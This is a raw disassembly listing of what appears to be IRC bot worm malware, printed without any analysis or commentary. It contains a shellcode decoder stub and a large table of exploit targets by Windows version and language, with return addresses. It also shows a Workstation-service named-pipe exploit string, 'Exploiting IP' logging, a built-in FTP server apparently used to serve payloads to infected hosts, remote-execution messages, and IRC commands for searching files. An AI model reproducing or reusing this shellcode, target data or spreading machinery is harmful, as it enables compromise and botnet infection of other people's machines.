dword_426E40	dd 0D0EC8166h, 7dword_426E48	dd 129F74h, 0	dword_426E50	dd 127D78h, 0	
; =============== S U B	R O U T	I N E =======================================



sub_426E58	proc near		; DATA XREF: sub_404D78+D5o

; FUNCTION CHUNK AT 00426E5E SIZE 00000047 BYTES

		pusha
		jmp	short loc_426E5E
sub_426E58	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426E5B	proc near		; CODE XREF: sub_426E58:loc_426E5Ep
		pop	ebx
		push	ebx
		retn
sub_426E5B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E58


loc_426E5E:				; CODE XREF: sub_426E58+1j
		call	sub_426E5B
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_426E6B:				; CODE XREF: sub_426E58+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_426E6B
		popa


loc_426E97:				; DATA XREF: sub_404D78+B4r
		add	[edi+edi*2+31430042h], dh


loc_426E9E:				; DATA XREF: sub_404D78+AEr
		mov	ebp, 7FC77h


loc_426EA3:				; DATA XREF: sub_404D78:loc_405043r
					; sub_404D78+2F2r ...
		add	[ecx], al
; END OF FUNCTION CHUNK	FOR sub_426E58
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset aWindowsXpSp01E ; "Windows XP	SP0+1 ENG"
		db 43h
; ---------------------------------------------------------------------------


loc_426EAD:				; CODE XREF: ___:00426EAFj
		xor	eax, eax
		ja	short loc_426EAD
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 1, 427F88h, 77BD1F89h, 7FCh,	1, 427F74h, 77BD1FA8h
		dd 7FCh, 1, 427F60h, 77BD1FD6h,	7FCh, 1, 427F4Ch, 77BD2195h
		dd 7FCh, 1, 427F38h, 77BD21B3h,	7FCh, 1, 427F24h, 77BD21E0h
		dd 7FCh, 1, 427F10h, 77BD220Ch,	7FCh, 1, 427EFCh, 77BD2241h
		dd 7FCh, 1, 427EE8h, 77BD22D2h,	7FCh, 1, 427ED4h, 77BD28B2h
		dd 7FCh, 1, 427EC0h, 77BD29ABh,	7FCh, 1, 427EACh, 77BD29E7h
		dd 7FCh, 1, 427E98h, 77BD29F7h,	7FCh, 1, 427E84h, 77BD2A03h
		dd 7FCh, 1, 427E70h, 77BD2D6Dh,	7FCh, 1, 427E5Ch, 77BD2DB3h
		dd 7FCh, 1, 427E48h, 77BD2EC2h,	7FCh, 1, 427E34h, 77BD2EDDh
		dd 7FCh, 1, 427E20h, 77BD30AFh,	7FCh, 1, 427E0Ch, 77BD312Bh
		dd 7FCh, 1, 427DF8h, 77BD3160h,	7FCh, 1, 427DE4h, 77BD349Ah
		dd 7FCh, 1, 427DD0h, 77BD34E4h,	7FCh, 1, 427DB4h, 655B4F02h
		dd 7E7h, 0
		dd offset aWindowsUkXpPro ; "Windows uk	xp pro sp1 1"
		dd 77C01F89h, 7FCh, 1, 427D84h,	77C01FA8h, 7FCh, 1, 427D6Ch
		dd 77C01FD6h, 7FCh, 1, 427D54h,	77C02195h, 7FCh, 1, 427D3Ch
		dd 77C021B3h, 7FCh, 1, 427D24h,	77C021E0h, 7FCh, 1, 427D0Ch
		dd 77C0220Ch, 7FCh, 1, 427CF4h,	77C02241h, 7FCh, 1, 427CDCh
		dd 77C022D2h, 7FCh, 1, 427CC0h,	77C028B2h, 7FCh, 1, 427CA4h
		dd 77C029ABh, 7FCh, 1, 427C88h,	77C029E7h, 7FCh, 1, 427C6Ch
		dd 77C029F7h, 7FCh, 1, 427C50h,	77C02A03h, 7FCh, 1, 427C34h
		dd 77C02A39h, 7FCh, 1, 427C18h,	77C02D6Dh, 7FCh, 1, 427BFCh
		dd 77C02DB3h, 7FCh, 1, 427BE0h,	77C02EC2h, 7FCh, 1, 427BC4h
		dd 77C02EDDh, 7FCh, 1, 427BA8h,	77C030AFh, 7FCh, 1, 427B8Ch
		dd 77C0312Bh, 7FCh, 1, 427B70h,	77C03143h, 7FCh, 1, 427B54h
		dd 77C03160h, 7FCh, 1, 427B38h,	77C0349Ah, 7FCh, 1, 427B1Ch
		dd 77C034E4h, 7FCh, 1, 427B04h,	77B920FDh, 7FCh, 1, 427AECh
		dd 77B9211Ch, 7FCh, 1, 427AD4h,	77B9214Ah, 7FCh, 1, 427ABCh
		dd 77B9230Ch, 7FCh, 1, 427AA4h,	77B9232Ah, 7FCh, 1, 427A8Ch
		dd 77B92357h, 7FCh, 1, 427A74h,	77B92383h, 7FCh, 1, 427A5Ch
		dd 77B923B8h, 7FCh, 1, 427A44h,	77B92448h, 7FCh, 1, 427A28h
		dd 77B92AAAh, 7FCh, 1, 427A0Ch,	77B92BA7h, 7FCh, 1, 4279F0h
		dd 77B92BE3h, 7FCh, 1, 4279D4h,	77B92BF3h, 7FCh, 1, 4279B8h
		dd 77B92BFFh, 7FCh, 1, 42799Ch,	77B92F78h, 7FCh, 1, 427980h
		dd 77B92FBEh, 7FCh, 1, 427964h,	77B930EFh, 7FCh, 1, 427948h
		dd 77B9310Dh, 7FCh, 1, 42792Ch,	77B9330Ch, 7FCh, 1, 427910h
		dd 77B93388h, 7FCh, 1, 4278F4h,	77B9339Eh, 7FCh, 1, 4278D8h
		dd 77B933BAh, 7FCh, 1, 4278BCh,	77B9373Dh, 7FCh, 1, 4278A0h
		dd 77B9378Ah, 7FCh, 1, 427888h,	77B920FDh, 7FCh, 1, 427870h
		dd 77B9211Ch, 7FCh, 1, 427858h,	77B9214Ah, 7FCh, 1, 427840h
		dd 77B9230Ch, 7FCh, 1, 427828h,	77B9232Ah, 7FCh, 1, 427810h
		dd 77B92357h, 7FCh, 1, 4277F8h,	77B92383h, 7FCh, 1, 4277E0h
		dd 77B923B8h, 7FCh, 1, 4277C8h,	77B92448h, 7FCh, 1, 4277ACh
		dd 77B92AAAh, 7FCh, 1, 427790h,	77B92BA7h, 7FCh, 1, 427774h
		dd 77B92BE3h, 7FCh, 1, 427758h,	77B92BF3h, 7FCh, 1, 42773Ch
		dd 77B92BFFh, 7FCh, 1, 427720h,	77B92F78h, 7FCh, 1, 427704h
		dd 77B92FBEh, 7FCh, 1, 4276E8h,	77B930EFh, 7FCh, 1, 4276CCh
		dd 77B9310Dh, 7FCh, 1, 4276B0h,	77B9330Ch, 7FCh, 1, 427694h
		dd 77B93388h, 7FCh, 1, 427678h,	77B9339Eh, 7FCh, 1, 42765Ch
		dd 77B933BAh, 7FCh, 1, 427640h,	77B9373Dh, 7FCh, 1, 427624h
		dd 77B9378Ah, 7FCh, 1, 427618h,	41414141h, 7FCh, 1, 427600h
		dd 77E14C29h, 7FCh, 1, 4275E8h,	77E3CB4Ch, 7FCh, 1, 4275D0h
		dd 77E42C75h, 7FCh, 1, 4275B8h,	77E3C256h, 7FCh, 1, 4275A0h
		dd 77E2AFC5h, 7FCh, 1, 427588h,	77E2492Bh, 7FCh, 1, 427570h
		dd 77E4FF15h, 7FCh, 1, 427558h,	77E33F4Dh, 7FCh, 1, 326E6957h
		dd 5053204Bh, 72462030h, 50206D6Fh, 54546168h, 312079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 322079h, 326E6957h, 5053204Bh, 72462032h, 50206D6Fh
		dd 54546168h, 312079h, 326E6957h, 5053204Bh, 72462033h
		dd 50206D6Fh, 54546168h, 312079h, 326E6957h, 5053204Bh
		dd 72462034h, 50206D6Fh, 54546168h, 332079h, 326E6957h
		dd 5053204Bh, 72462034h, 50206D6Fh, 54546168h, 322079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 312079h, 326E6957h, 5053204Bh, 72462034h, 50206D6Fh
		dd 54546168h, 312079h, 20536F44h, 41205058h, 4C4Ch, 646E6957h
		dd 2073776Fh, 32206B75h, 6520336Bh, 70732065h, 34322030h
		dd 0
aWindowsUk2k3Ee	db 'Windows uk 2k3 ee sp0 23',0
		align 4
aWindowsUk2k3_0	db 'Windows uk 2k3 ee sp0 22',0
		align 4
aWindowsUk2k3_1	db 'Windows uk 2k3 ee sp0 21',0
		align 4
aWindowsUk2k3_2	db 'Windows uk 2k3 ee sp0 20',0
		align 10h
aWindowsUk2k3_3	db 'Windows uk 2k3 ee sp0 19',0
		align 4
aWindowsUk2k3_4	db 'Windows uk 2k3 ee sp0 18',0
		align 4
aWindowsUk2k3_5	db 'Windows uk 2k3 ee sp0 17',0
		align 4
aWindowsUk2k3_6	db 'Windows uk 2k3 ee sp0 16',0
		align 10h
aWindowsUk2k3_7	db 'Windows uk 2k3 ee sp0 15',0
		align 4
aWindowsUk2k3_8	db 'Windows uk 2k3 ee sp0 14',0
		align 4
aWindowsUk2k3_9	db 'Windows uk 2k3 ee sp0 13',0
		align 4
aWindowsUk2k_10	db 'Windows uk 2k3 ee sp0 12',0
		align 10h
aWindowsUk2k_11	db 'Windows uk 2k3 ee sp0 11',0
		align 4
aWindowsUk2k_12	db 'Windows uk 2k3 ee sp0 10',0
		align 4
aWindowsUk2k_13	db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_14	db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_15	db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_16	db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_17	db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_18	db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_19	db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_20	db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_21	db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se	db 'Windows uk 2k3 se sp0 24',0
		align 4
aWindowsUk2k_22	db 'Windows uk 2k3 se sp0 23',0
		align 4
aWindowsUk2k_23	db 'Windows uk 2k3 se sp0 22',0
		align 4
aWindowsUk2k_24	db 'Windows uk 2k3 se sp0 21',0
		align 10h
aWindowsUk2k_25	db 'Windows uk 2k3 se sp0 20',0
		align 4
aWindowsUk2k_26	db 'Windows uk 2k3 se sp0 19',0
		align 4
aWindowsUk2k_27	db 'Windows uk 2k3 se sp0 18',0
		align 4
aWindowsUk2k_28	db 'Windows uk 2k3 se sp0 17',0
		align 10h
aWindowsUk2k_29	db 'Windows uk 2k3 se sp0 16',0
		align 4
aWindowsUk2k_30	db 'Windows uk 2k3 se sp0 15',0
		align 4
aWindowsUk2k_31	db 'Windows uk 2k3 se sp0 14',0
		align 4
aWindowsUk2k_32	db 'Windows uk 2k3 se sp0 13',0
		align 10h
aWindowsUk2k_33	db 'Windows uk 2k3 se sp0 12',0
		align 4
aWindowsUk2k_34	db 'Windows uk 2k3 se sp0 11',0
		align 4
aWindowsUk2k_35	db 'Windows uk 2k3 se sp0 10',0
		align 4
aWindowsUk2k_36	db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_37	db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_38	db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_39	db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_40	db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_41	db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_42	db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_43	db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_44	db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpP_0	db 'Windows uk xp pro sp1 25',0
		align 4
aWindowsUkXpP_1	db 'Windows uk xp pro sp1 24',0
		align 4
aWindowsUkXpP_2	db 'Windows uk xp pro sp1 23',0
		align 10h
aWindowsUkXpP_3	db 'Windows uk xp pro sp1 22',0
		align 4
aWindowsUkXpP_4	db 'Windows uk xp pro sp1 21',0
		align 4
aWindowsUkXpP_5	db 'Windows uk xp pro sp1 20',0
		align 4
aWindowsUkXpP_6	db 'Windows uk xp pro sp1 19',0
		align 10h
aWindowsUkXpP_7	db 'Windows uk xp pro sp1 18',0
		align 4
aWindowsUkXpP_8	db 'Windows uk xp pro sp1 17',0
		align 4
aWindowsUkXpP_9	db 'Windows uk xp pro sp1 16',0
		align 4
aWindowsUkXp_10	db 'Windows uk xp pro sp1 15',0
		align 10h
aWindowsUkXp_11	db 'Windows uk xp pro sp1 14',0
		align 4
aWindowsUkXp_12	db 'Windows uk xp pro sp1 13',0
		align 4
aWindowsUkXp_13	db 'Windows uk xp pro sp1 12',0
		align 4
aWindowsUkXp_14	db 'Windows uk xp pro sp1 11',0
		align 10h
aWindowsUkXp_15	db 'Windows uk xp pro sp1 10',0
		align 4
aWindowsUkXp_16	db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_17	db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_18	db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_19	db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_20	db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_21	db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_22	db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_23	db 'Windows uk xp pro sp1 2',0
aWindowsUkXpPro	db 'Windows uk xp pro sp1 1',0 ; DATA XREF: ___:00427038o
aWindows2000Sp4	db 'Windows 2000 SP4 GER FAT32',0
		align 10h
aWindowsNlSp123	db 'Windows nl sp1 23',0
		align 4
aWindowsNlSp122	db 'Windows nl sp1 22',0
		align 4
aWindowsNlSp121	db 'Windows nl sp1 21',0
		align 4
aWindowsNlSp120	db 'Windows nl sp1 20',0
		align 10h
aWindowsNlSp119	db 'Windows nl sp1 19',0
		align 4
aWindowsNlSp118	db 'Windows nl sp1 18',0
		align 4
aWindowsNlSp117	db 'Windows nl sp1 17',0
		align 4
aWindowsNlSp116	db 'Windows nl sp1 16',0
		align 10h
aWindowsNlSp115	db 'Windows nl sp1 15',0
		align 4
aWindowsNlSp114	db 'Windows nl sp1 14',0
		align 4
aWindowsNlSp113	db 'Windows nl sp1 13',0
		align 4
aWindowsNlSp112	db 'Windows nl sp1 12',0
		align 10h
aWindowsNlSp111	db 'Windows nl sp1 11',0
		align 4
aWindowsNlSp110	db 'Windows nl sp1 10',0
		align 4
aWindowsNlSp19	db 'Windows nl sp1 9',0
		align 4
aWindowsNlSp18	db 'Windows nl sp1 8',0
		align 10h
aWindowsNlSp17	db 'Windows nl sp1 7',0
		align 4
aWindowsNlSp16	db 'Windows nl sp1 6',0
		align 4
aWindowsNlSp15	db 'Windows nl sp1 5',0
		align 4
aWindowsNlSp14	db 'Windows nl sp1 4',0
		align 10h
aWindowsNlSp13	db 'Windows nl sp1 3',0
		align 4
aWindowsNlSp12	db 'Windows nl sp1 2',0
		align 4
aWindowsNlSp11	db 'Windows nl sp1 1',0
		align 4
aWindowsXpSp01E	db 'Windows XP SP0+1 ENG',0 ; DATA XREF: ___:00426EA8o
		align 4
aWindowsXpSp01G	db 'Windows XP SP0+1 GER+NL+IT+FR',0
		align 4
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_404D78+4E8o
		align 10h
dword_427FF0	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_428004	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_404D78+243o
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_404D78+1E4o
		align 4
a_:					; DATA XREF: sub_404D78+184o
					; sub_4062F7+24Do ...
		unicode	0, <.>,0
aS_1		db '\\%s',0             ; DATA XREF: sub_404D78+153o
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405350+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_405350+5B9o
					; sub_40F6F1+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405350+5ACo
		align 10h
unk_428080	db    2			; DATA XREF: sub_405350+561o
		db 52h,	2 dup(4Fh)
		db  54h	; T
		db 45h,	44h, 2
aSPortDNowExecu	db ' »»   %s, port:%d now executing %s on remote machine.',0
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405350+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405350+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_405350+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405350+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405350+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405350+4A5o
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405350+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405350+42Bo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405350+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405350+3EAo
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405350+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405350+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405350+38Co
aI:					; DATA XREF: sub_405350+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405350+351o
aA:					; DATA XREF: sub_405350+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405350+326o
					; sub_405350+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405350+316o
		align 4
off_42821C	dd offset dword_445750	; DATA XREF: sub_405350+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405350+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_405350+2DEo
		align 4
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_405350+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405350+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405350+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405350+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405350+286o
		align 4
aUser_1		db 'USER',0             ; DATA XREF: sub_405350+271o
					; ___:0042EFA8o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_405350+260o
		align 4
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405350+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4059D0+24o
					; sub_406B85+12Eo ...
		align 4
unk_4282B8	db    2			; DATA XREF: sub_405A6A+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4282FC	db 0Dh,0Ah,0		; DATA XREF: sub_405A6A+2CFo
		align 10h
asc_428300:				; DATA XREF: sub_405A6A+293o
					; sub_40F6F1+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405A6A+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405EC5+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405EC5+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405EC5+97o
					; sub_40BDAD+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405EC5+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405EC5:loc_405F2Ao
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405EC5+5Eo
		align 10h
unk_428520	db    2			; DATA XREF: sub_406047+28Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_428568	db    2			; DATA XREF: sub_406047+20Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_4285A8:				; DATA XREF: sub_406047+157o
		unicode	0, <*>,0
asc_4285AC:				; DATA XREF: sub_406047+FBo
					; sub_4062F7+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406047+EAo
					; sub_4062F7+4CAo ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_406047+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4062F7+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4062F7+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40680Fo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+471o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+434o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066B9o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3BBo
		align 10h
aSS		db '%s%s/',0            ; DATA XREF: sub_4062F7+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+330o
					; sub_4062F7+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4062F7+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4062F7+2E4o
					; sub_4062F7+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_4062F7+290o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_4062F7+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_4062F7+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4062F7+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A64+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_428A5C	dd 4000500h, 7868746Bh,	0dword_428A68	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406B85+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_428ABC	db    2			; DATA XREF: sub_406B85+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_428AF0	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406B85+399o
dword_428B04	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406B85+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_428B4C	db    2			; DATA XREF: sub_406B85+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_428B80	db    2			; DATA XREF: sub_406B85+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
